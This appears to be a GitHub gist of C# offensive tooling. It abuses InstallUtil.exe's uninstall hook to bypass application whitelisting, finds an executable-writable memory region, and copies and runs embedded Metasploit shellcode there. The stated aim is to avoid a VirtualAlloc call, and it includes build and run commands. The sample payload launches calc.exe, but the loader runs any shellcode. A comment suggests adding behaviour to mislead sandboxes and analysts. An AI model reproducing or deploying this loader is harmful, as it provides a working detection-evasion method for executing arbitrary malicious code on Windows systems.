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Forked from nicholasmckinney/rwxHunter.cs
Created July 3, 2019 14:56
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Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:rwxhunter.exe rwxhunter.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /U rwxhunter.exe
*/
//root@infosec:~# msfvenom --payload windows/exec CMD=calc.exe EXITFUNC=thread
public class Program
{
public static void Main()
{
Console.WriteLine("Hey There From Main()");
//Add any behaviour here to throw off sandbox execution/analysts :)
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Console.WriteLine("Hello There From Uninstall");
uint a = Shellcode.Hunt();
if(a>0)
{
Console.WriteLine("Found Space\n");
Shellcode.Exec (a);
}
else
{
Console.WriteLine("Created Space");
Shellcode.Exec();
}
}
}
public class Shellcode
{
public static UInt32 Hunt()
{
long MaxAddress = 0x7fffffff;
long address = 0;
do
{
MEMORY_BASIC_INFORMATION m;
int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE)
{
Console.Write("{0}\n",m.BaseAddress.ToString("X4"));
return (UInt32)m.BaseAddress;
}
if (address == (long)m.BaseAddress + (long)m.RegionSize)
break;
address = (long)m.BaseAddress + (long)m.RegionSize;
} while (address <= MaxAddress);
return 0;
}
public static void Exec()
{
// native function's compiled code
// generated with metasploit
byte[] shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static void Exec(UInt32 address)
{
// native function's compiled code
// generated with metasploit
byte[] shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
UInt32 funcAddr = address;
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32.dll")]
static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
//MEMORY_BASIC_INFORMATION
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
public enum AllocationProtect : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
}
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